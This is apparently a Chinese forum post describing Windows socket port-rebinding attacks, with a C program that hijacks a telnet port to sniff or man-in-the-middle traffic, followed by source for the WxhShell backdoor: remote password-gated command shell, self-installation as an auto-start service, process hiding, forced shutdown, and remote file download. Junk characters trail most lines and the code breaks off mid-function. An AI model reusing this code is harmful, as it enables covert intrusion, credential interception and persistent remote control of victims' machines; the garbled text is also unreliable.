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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: kzA%.bP|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T5mdC  
VZOf|o  
  saddr.sin_family = AF_INET; R3MbTg  
o8!gV/oy  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); QN%w\ JXS  
9Fe(],AzF  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ? x1"uH  
Nhh2P4gH  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5K1WfdBX7)  
X(D$eV  
  这意味着什么?意味着可以进行如下的攻击: !i0jk,[B=  
/Q7cQ2[EU  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :!omog  
,/.U'{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) jTNfGu0x  
F&{RP>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 S ("Zzq`  
Vb|;@*=R&Q  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~Rzn =>a  
*>Z|!{bI  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 P!?Je/ Tz]  
hcQvL>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 O<3i6   
zNE"5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;().  
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  #include FHNK%Ko  
  #include zw{cli&S  
  #include #1MEmt  
  #include    A>"v1Wk  
  DWORD WINAPI ClientThread(LPVOID lpParam);   j@c fR  
  int main() M@a?j<7P,m  
  { zu<8%  
  WORD wVersionRequested; #;bpxz1lR9  
  DWORD ret; 1a#oJU  
  WSADATA wsaData; yVThbL_YJ  
  BOOL val; R jO9E.nm  
  SOCKADDR_IN saddr; 2#4_ /5(j*  
  SOCKADDR_IN scaddr; AL.zF\?  
  int err; -e=p*7']  
  SOCKET s; LGN,8v<W(  
  SOCKET sc; /K mzi9j+  
  int caddsize; 1sFTXl  
  HANDLE mt; WA-` *m$v  
  DWORD tid;   m`<Mzk.u<  
  wVersionRequested = MAKEWORD( 2, 2 ); m178S3  
  err = WSAStartup( wVersionRequested, &wsaData ); 0G/VbS  
  if ( err != 0 ) { e&dE>m  
  printf("error!WSAStartup failed!\n"); {mPalo A  
  return -1; }?,Gn]]  
  } I At;?4  
  saddr.sin_family = AF_INET; Cc:4n1|]>  
   q #f U*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /^~3Ib8Fw+  
lAsDdxB`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +w Oa  
  saddr.sin_port = htons(23); ,63hO.4M  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t&UPU&tY  
  { 7<Fp3N 3  
  printf("error!socket failed!\n"); pv2_A   
  return -1; 73/kyu-0%  
  } ~mc7O  
  val = TRUE; yD iL  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 q<>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) W G2 E3y  
  { JZp*"UzQr  
  printf("error!setsockopt failed!\n"); SWr?>dl  
  return -1; DpIv <m]  
  } \1 4"Bgj1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4[z a|t  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;dl>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 tE0DST/  
3Oy-\09  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8tWOVLquJ  
  { qO=_i d  
  ret=GetLastError(); #5GIO  
  printf("error!bind failed!\n"); (: IUg   
  return -1; YmM+x=G:  
  } VOBzB]  
  listen(s,2); :ho)3kB  
  while(1) @sly-2{e1  
  { eR r.j  
  caddsize = sizeof(scaddr); 0$3\D S<E  
  //接受连接请求 QRj>< TKi  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P  F!S  
  if(sc!=INVALID_SOCKET) 4l2i'H  
  { 6#XB'PR2p  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \^iPU 27H  
  if(mt==NULL) &?^S`V8R*  
  { _Zya GDv  
  printf("Thread Creat Failed!\n"); !3>(fj+QS  
  break; H4LZNko  
  } JicAz1P1W  
  } =>Y b~r71  
  CloseHandle(mt); &LE,.Q34  
  } ^yUel.N5"  
  closesocket(s); l%*KBME  
  WSACleanup(); ryzz!0l  
  return 0; c0]^V>}cl  
  }   c[ ]_gUp8  
  DWORD WINAPI ClientThread(LPVOID lpParam) ; >3q@9\D  
  { 5uMh#dm^  
  SOCKET ss = (SOCKET)lpParam; v_f8zk  
  SOCKET sc; ~lMw*Qw^  
  unsigned char buf[4096]; _aVrQ@9  
  SOCKADDR_IN saddr; OaU-4 ~n;  
  long num; JqTkNKi/s  
  DWORD val; &P&LjHFK  
  DWORD ret; ][- N<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 jC1mui|Y^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   I_@\O!<y}  
  saddr.sin_family = AF_INET; }}XYV eI  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); e Ll+F%@  
  saddr.sin_port = htons(23); |ofegO}W7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S!qJqZ<Bv  
  { `k65&]&d  
  printf("error!socket failed!\n"); *@fR36  
  return -1; FX7=81**4  
  } T9]|*~ ,T  
  val = 100; a&~_ba+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3DnlXH(h1  
  { 9^h\vR|]S  
  ret = GetLastError(); }^WQNdws56  
  return -1; <`*}$Zh  
  } Pk[:+. f(  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) an^"_#8DA@  
  { `m?%{ \  
  ret = GetLastError(); U>6MT@\  
  return -1; {4Y@ DQ-  
  } `O(ec  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :G9+-z{Y&  
  { 2#l<L>#  
  printf("error!socket connect failed!\n"); 1a 3rA  
  closesocket(sc); T6JN@:8  
  closesocket(ss); Zws[}G"7h  
  return -1; 6H67$?jMyJ  
  } %o9@[o .]  
  while(1) j?%^N\9  
  { '/U[ ui0{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~n%~ Z|mMF  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Pcut#8?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <y=VDb/  
  num = recv(ss,buf,4096,0); `,d*>  
  if(num>0) X=_pQ+j`^  
  send(sc,buf,num,0); aYr?J Ol  
  else if(num==0) 02:]  
  break; A,i.1U"w8  
  num = recv(sc,buf,4096,0); e>~g!S}G  
  if(num>0) b{<qt})  
  send(ss,buf,num,0); q}>1Rr|U`  
  else if(num==0) Htn=h~U`z  
  break; ,~8:^*0s  
  } GqumH/;  
  closesocket(ss); i`/_^Fndyu  
  closesocket(sc); <uUQ-]QOIh  
  return 0 ; yjUZ 40Dq  
  } 90> (`pI=  
`rsPIOu  
K[0.4+  
========================================================== 5G=<2;  
8A}w}h  
下边附上一个代码,,WXhSHELL tGnBx)J|  
#pu6^NTK  
========================================================== bqp6cg\p  
XJy~uks,  
#include "stdafx.h" zb.^ _A  
"OF4#a17  
#include <stdio.h> !s pp*Q)#\  
#include <string.h> :8aa#bA  
#include <windows.h> ^%|,G:r  
#include <winsock2.h> OQMkpX-dH  
#include <winsvc.h> P:h;"  
#include <urlmon.h> J$  
p3ox%4  
#pragma comment (lib, "Ws2_32.lib") ~>&7~N8  
#pragma comment (lib, "urlmon.lib") =r"8J5[f  
@5N^^B  
#define MAX_USER   100 // 最大客户端连接数 [2?|BUtD[  
#define BUF_SOCK   200 // sock buffer E8gXa-hv  
#define KEY_BUFF   255 // 输入 buffer B*btt+6  
_#@n^c  
#define REBOOT     0   // 重启 "MHm9D?5  
#define SHUTDOWN   1   // 关机 Y $hYW  
&v|Uy}h&%1  
#define DEF_PORT   5000 // 监听端口 =!T@'P?  
!E!i`yF  
#define REG_LEN     16   // 注册表键长度 fe PH=C  
#define SVC_LEN     80   // NT服务名长度 .?R~!K{`  
:)VO,b~r  
// 从dll定义API $Llv6<B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -SZXUN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yG\^PD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wqB{cr}!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f =@'F=  
51j5AbFQ"  
// wxhshell配置信息 )QYg[<e6  
struct WSCFG { )[RLCZ  
  int ws_port;         // 监听端口 [xzgk [>5  
  char ws_passstr[REG_LEN]; // 口令 \J[m4tw^  
  int ws_autoins;       // 安装标记, 1=yes 0=no !.1oW(  
  char ws_regname[REG_LEN]; // 注册表键名 ^Pl(V@  
  char ws_svcname[REG_LEN]; // 服务名 T<(1)N1H`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #\s*>Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .[&0FHnJ5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K ;\~otR^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2 Ya)I k{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" MuXp*s3[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O O?e8OU  
|/<,71Ae  
}; u3 k%  
'i5 VU4?K  
// default Wxhshell configuration nZZNx  
struct WSCFG wscfg={DEF_PORT, xIu #  
    "xuhuanlingzhe", Py*( %  
    1, M)S(:Il6Xx  
    "Wxhshell", z~&uLu  
    "Wxhshell", -^sW{s0Rc  
            "WxhShell Service", `roos<F1D  
    "Wrsky Windows CmdShell Service", < kyT{[e+6  
    "Please Input Your Password: ", Zjqa n  
  1, )!6JSMS  
  "http://www.wrsky.com/wxhshell.exe", <T]%Gg8  
  "Wxhshell.exe" 0K/Pth"*  
    }; I\ e?v`e  
!5,>[^y3  
// 消息定义模块 ;1qE:x}'H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7P1G^)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; LXYpP- E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; PdiP5S }/  
char *msg_ws_ext="\n\rExit."; m$<LO%<~p  
char *msg_ws_end="\n\rQuit."; PWeCk2xH  
char *msg_ws_boot="\n\rReboot...";  x{K^u"  
char *msg_ws_poff="\n\rShutdown..."; EmrUzaGD  
char *msg_ws_down="\n\rSave to "; _|<kKfd?  
0XouHU  
char *msg_ws_err="\n\rErr!"; EWOS6Yg7  
char *msg_ws_ok="\n\rOK!"; _Z~cJIEU  
S&/</%  
char ExeFile[MAX_PATH]; AI KLJvte  
int nUser = 0; 48%-lkol)  
HANDLE handles[MAX_USER]; FY;\1bt<<  
int OsIsNt; wq yw#)S  
)Ve-)rZ  
SERVICE_STATUS       serviceStatus; [5[}2 B_t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s5/5>a V  
vTnrSNdSE  
// 函数声明 x)evjX=q  
int Install(void); ]vj.s/F~  
int Uninstall(void); b-*3]gB  
int DownloadFile(char *sURL, SOCKET wsh); /V'^$enK!}  
int Boot(int flag); :`u?pc27Sm  
void HideProc(void); 8yW8F26  
int GetOsVer(void); BR&T,x/d  
int Wxhshell(SOCKET wsl); 0|6]ps4Z7  
void TalkWithClient(void *cs); 8: #\g  
int CmdShell(SOCKET sock); `O~NT'Ed8  
int StartFromService(void); Mc8|4/<Z  
int StartWxhshell(LPSTR lpCmdLine); u&4CXv=  
RLnsy,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "53'FRj_\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jA'qXc+\  
qY,z,o AF  
// 数据结构和表定义 v[$-)vs*ag  
SERVICE_TABLE_ENTRY DispatchTable[] = C]@v60I  
{ :r4]8X-  
{wscfg.ws_svcname, NTServiceMain}, }"} z7Xb0  
{NULL, NULL} So?.V4aD_  
}; 'u9,L FO  
8H2zM IB  
// 自我安装 a[e&O&Z  
int Install(void) [tN^)c`s/  
{ $'Pn(eZHGv  
  char svExeFile[MAX_PATH]; q%H`/~AYM  
  HKEY key; G.j  R  
  strcpy(svExeFile,ExeFile); S8=Am7D]1  
$ghAC  
// 如果是win9x系统,修改注册表设为自启动 m(2(Caz{  
if(!OsIsNt) { 6d4e~F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  Om%HrT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c}XuzgSY  
  RegCloseKey(key); 2bJqZ,@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^O>G?a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Th!.=S{Y5  
  RegCloseKey(key); T6/d[SH>  
  return 0; ! z!lQ~  
    } Y!3Mm*  
  } hbZ]DRg  
} '(ZJsw  
else { ]V*ku%L0  
6snDv4  
// 如果是NT以上系统,安装为系统服务 p#14  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bxxazsj^  
if (schSCManager!=0) | aAu 4   
{ bIvF5d>9#K  
  SC_HANDLE schService = CreateService rTJ='<hIy  
  ( B: '}SA{  
  schSCManager, O"'.n5>:`  
  wscfg.ws_svcname, ;N+ v x  
  wscfg.ws_svcdisp, #9R[%R7Nz  
  SERVICE_ALL_ACCESS, 4[\$3t.L  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , It5U=PU  
  SERVICE_AUTO_START, n jfh4}g:  
  SERVICE_ERROR_NORMAL, 1\'?.  
  svExeFile, ;f]p`!] 3  
  NULL, S\\3?[!p  
  NULL, g Kp5*  
  NULL, \IL;}D{  
  NULL, \>B$x@-wg  
  NULL SH oov  
  ); =)h<" 2  
  if (schService!=0) NZu\ Ae  
  { dwH8Zg$B  
  CloseServiceHandle(schService); For`rfR  
  CloseServiceHandle(schSCManager); |E& F e8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g431+O0K1  
  strcat(svExeFile,wscfg.ws_svcname); \t pJ   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b 8vyJb,K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -dj9(~?^  
  RegCloseKey(key); ]q,5'[=~4h  
  return 0; 5hhiP2q  
    } /*V:Lh  
  } 2s^9q9NS"  
  CloseServiceHandle(schSCManager); gY],U4_:p  
} R*"31&3le4  
} Qkk3>{I  
+*I'!)T^B  
return 1; uTWij4)a  
} #!A'6SgbkM  
qw#wZ'<n  
// 自我卸载 <yoCW?#  
int Uninstall(void) FW~{io]n  
{ ZWtlOP#]  
  HKEY key; J|O=w(  
8fG$><@  
if(!OsIsNt) { bqo+ b{i\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O#}d!}SIp  
  RegDeleteValue(key,wscfg.ws_regname); b]-~{' +  
  RegCloseKey(key); tQrF A2F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G}2DZ=&>'  
  RegDeleteValue(key,wscfg.ws_regname); P#0U[`ltK  
  RegCloseKey(key); '8k{\>  
  return 0; ?{)sdJe  
  } UQ7E7yY#  
} FnZMW, P  
} %OV)O-  
else { jX9{Ki"  
+vDEDOS1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +#B4Z'nT  
if (schSCManager!=0) 1X ?9Ji)h  
{ QbN7sg~~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); slQxz;t  
  if (schService!=0) cC4 2b2+  
  {  L+=pEk_  
  if(DeleteService(schService)!=0) { \! *3bR  
  CloseServiceHandle(schService); 0x N1Xm0d  
  CloseServiceHandle(schSCManager); u{asKUce\  
  return 0; =DL |Q  
  } =&!L&M<<  
  CloseServiceHandle(schService); )=k8W9i8b  
  } %Voq"}}N  
  CloseServiceHandle(schSCManager); Y=NXfTc  
} 0P+B-K>n  
} l[,RA?i {  
`<?{%ja  
return 1; (TX\vI&  
} u|.c?fW'3  
EgYM][:UU  
// 从指定url下载文件 M0B6v} ^H  
int DownloadFile(char *sURL, SOCKET wsh) ^(Y}j8sj  
{ @nh* H{  
  HRESULT hr; <P%<EgOE  
char seps[]= "/"; >~%EB?8  
char *token;  Y ,  
char *file; 1#Ls4+]5  
char myURL[MAX_PATH]; Pse1NMK9 [  
char myFILE[MAX_PATH]; }k{h^!fV  
fQ[& ^S$  
strcpy(myURL,sURL); ,/bSa/x`  
  token=strtok(myURL,seps); LH@xr\^  
  while(token!=NULL) eG @0:  
  { rUz-\H(-  
    file=token; doX8Tq   
  token=strtok(NULL,seps); ,A{'lu  
  } #A:+|{H"  
*EB`~s  
GetCurrentDirectory(MAX_PATH,myFILE); ^D}]7y|fm  
strcat(myFILE, "\\"); e@`"V,i  
strcat(myFILE, file); ZCcKY6b  
  send(wsh,myFILE,strlen(myFILE),0); sOf;I]E|  
send(wsh,"...",3,0); 1DTA Dh0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t_+Xt$Q7C  
  if(hr==S_OK) w,s++bV;L  
return 0; +L]$M)*0&  
else TV['"'D&i  
return 1; cu@i;Hb@  
4/Mi-ls_  
} fOHgz ,x=  
2 omKP,9,2  
// 系统电源模块 AB:JXMyK  
int Boot(int flag)  gZg5On  
{ iC.k8r+~  
  HANDLE hToken; MjNq8'$"  
  TOKEN_PRIVILEGES tkp; @:ojt$  
eM) I%  
  if(OsIsNt) { D,c53B6M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'G#T 6B!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^p}S5,  
    tkp.PrivilegeCount = 1; Q,`R-?v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ULJV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ch;wvoy  
if(flag==REBOOT) { c*@#0B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "R!) "B==  
  return 0; 'f "KV|  
} C3hQT8~  
else { p-S&Wq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rD?G7l<~>_  
  return 0; AWG;G+  
} O'i!}$=g  
  } -,Oq=w*EV  
  else { U?[_ d  
if(flag==REBOOT) { p_g#iH!*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7C::%OF~7  
  return 0; G%q^8#  
} BPwn!ii|  
else { w Jr5[p*M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H?a1XEY/  
  return 0; l`wF;W!  
} tW8&:L,m  
} lR8Lfa*/7  
[d3i _^\  
return 1; nl\l7/}6  
} je[1>\3W  
e*Gt%'  
// win9x进程隐藏模块 2K~<_.S  
void HideProc(void) ]}za  
{ JK/VIu&!  
}iE!( l  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w{$X :Z  
  if ( hKernel != NULL ) ';>A=m9(4%  
  { Bokpvd-c7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +5k^-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |Q\O% cb  
    FreeLibrary(hKernel); VUF$,F9  
  } h't! 1u  
4[P]+Z5b+  
return; j]X $7  
} ~B2,edkM  
~w,c6 Z  
// 获取操作系统版本 [vV5@nP:  
int GetOsVer(void) )zK6>-KWA  
{ CBrC   
  OSVERSIONINFO winfo; A7c*qBt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v*[oe  
  GetVersionEx(&winfo); 2Vwv#NAV k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1!P\x=Nn_  
  return 1; P =jRof$  
  else :5DL&,,Q3  
  return 0; |H%[tkW6c  
} \v]esIP5R'  
}9FAM@x1K&  
// 客户端句柄模块 iS@+qWo1  
int Wxhshell(SOCKET wsl) sPxDo?1x-  
{ U{[ g"_+~  
  SOCKET wsh; ^OZ*Le  
  struct sockaddr_in client; E8LZ% N#  
  DWORD myID; 6dlV:f_\y  
l =X6m(  
  while(nUser<MAX_USER) z,+LPr  
{ 6VQe?oh  
  int nSize=sizeof(client);  z:p;Wm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'lIj89h<E  
  if(wsh==INVALID_SOCKET) return 1; U1y8Y/  
T4fVZd)x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v\}s(X(J  
if(handles[nUser]==0) >oHgs  
  closesocket(wsh); Q?xCb  
else q,% lG$0v  
  nUser++; 0Uf.aP  
  } (/;<K$u*h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B(t`$mC  
AC}[Q p!  
  return 0; N, SbJ Z  
} M8y:FDX  
pj9*$.{  
// 关闭 socket ] i:WP2  
void CloseIt(SOCKET wsh) DPg\y".4Y&  
{ WV?3DzeR  
closesocket(wsh); aJ3.D  
nUser--; }c?W|#y`.o  
ExitThread(0); *2^+QKDG  
} C>=[fAr mO  
;Im%L=q9GL  
// 客户端请求句柄 E},^,65  
void TalkWithClient(void *cs) h( V:-D  
{ 3I.0jA#T&/  
<oKoz0!  
  SOCKET wsh=(SOCKET)cs; 8ZN"-]*  
  char pwd[SVC_LEN]; oQL$X3S  
  char cmd[KEY_BUFF]; s.IYPH|pn  
char chr[1]; G4jyi&]  
int i,j; ( C~ u.  
=#so[Pd  
  while (nUser < MAX_USER) { SsBiCctn  
G 5!J9@Yi  
if(wscfg.ws_passstr) { j#rj_uP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m3']/}xHO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x;@wtd*QB  
  //ZeroMemory(pwd,KEY_BUFF); !l|fzS8g  
      i=0; *u ^mf~  
  while(i<SVC_LEN) { y3Qb2l  
De^Uc  
  // 设置超时 #O,;3S  
  fd_set FdRead; 4m"6$  
  struct timeval TimeOut; 'wT !X[jF  
  FD_ZERO(&FdRead); KSgYf;  
  FD_SET(wsh,&FdRead); (`)ZR %i  
  TimeOut.tv_sec=8; S-2@:E  
  TimeOut.tv_usec=0; vhE^jS<Tg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M$$Lsb [  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (CR]96n  
CwdeW.A"j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h#~\-j9>  
  pwd=chr[0]; Qk[YF  
  if(chr[0]==0xd || chr[0]==0xa) { 08MY=PC~R  
  pwd=0; (,XbxDfM  
  break; VBq|j"o0"  
  } N_liKhq  
  i++; k esuM3  
    } C;\R 62'  
aESlb H  
  // 如果是非法用户,关闭 socket 2kkqPBc_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !L3\B_#  
} wi-F@})f#  
>`=9So_J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WvN{f*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $, vX yZ  
]WvV*FL9D3  
while(1) { a\ZNNk  
)N3XbbV  
  ZeroMemory(cmd,KEY_BUFF); &B?*|M`)k  
;km^ OO$  
      // 自动支持客户端 telnet标准   q(\kCUy!  
  j=0; mkuK$Mj  
  while(j<KEY_BUFF) { N!%[.3o\K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n`.JI(|  
  cmd[j]=chr[0]; e5$S2o~JF  
  if(chr[0]==0xa || chr[0]==0xd) { =Q~@dP  
  cmd[j]=0; SQ la]%  
  break; XP^[,)E  
  } V{C{y5  
  j++; g@|2z  
    } xU;/LJ6  
V: n\skM  
  // 下载文件 d=eIsP'h  
  if(strstr(cmd,"http://")) { :x3"Cj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^ ^T xx  
  if(DownloadFile(cmd,wsh)) RMs+pN<5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ny5$IIF e  
  else Y6RbRcJw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /2>.*H_2  
  } NnRX0]  
  else { &a!MT^anA~  
!X4m6gRaP  
    switch(cmd[0]) { S1a6uE  
  SsCV}[  
  // 帮助 ?+G / 5,e  
  case '?': { @iBaJ"*,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2*5pjd{Kt  
    break; ^i!I0Q2yd  
  } vw6DHN)k  
  // 安装 \rM5@ Vf  
  case 'i': { ows 3%  
    if(Install()) +} x\|O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O39f  
    else N oRPvFv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fL~@v-l#~  
    break; !g4u<7  
    } ymb{rKkN3  
  // 卸载 m[qW)N:w  
  case 'r': { _)ZxD--Qg  
    if(Uninstall()) ;T :]?5W!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pEq }b+-  
    else in7h^6?I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2= zw !  
    break; ,t +sw4  
    } gX]ewbPDQ  
  // 显示 wxhshell 所在路径 |ITh2m  
  case 'p': { Slv91c&md,  
    char svExeFile[MAX_PATH]; c2wgJH!g  
    strcpy(svExeFile,"\n\r"); `+!F#.  
      strcat(svExeFile,ExeFile); \: Q)X$6  
        send(wsh,svExeFile,strlen(svExeFile),0); -"6Z@8=  
    break; ^@f.~4P*I  
    } heScIe N^`  
  // 重启 p^)w$UL}}  
  case 'b': { LRqlK\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j8W<iy  
    if(Boot(REBOOT)) 0M!GoqaA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m,)o&ix1  
    else { uxlrJ1~M  
    closesocket(wsh); v}TFM  
    ExitThread(0);  {gb` %J  
    } CU@}{}Yl  
    break; dWP<,Z>  
    } R$bDj >8  
  // 关机 SBg|V  
  case 'd': { et=i@PB)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4 q\&Mb3  
    if(Boot(SHUTDOWN)) Y=D\  
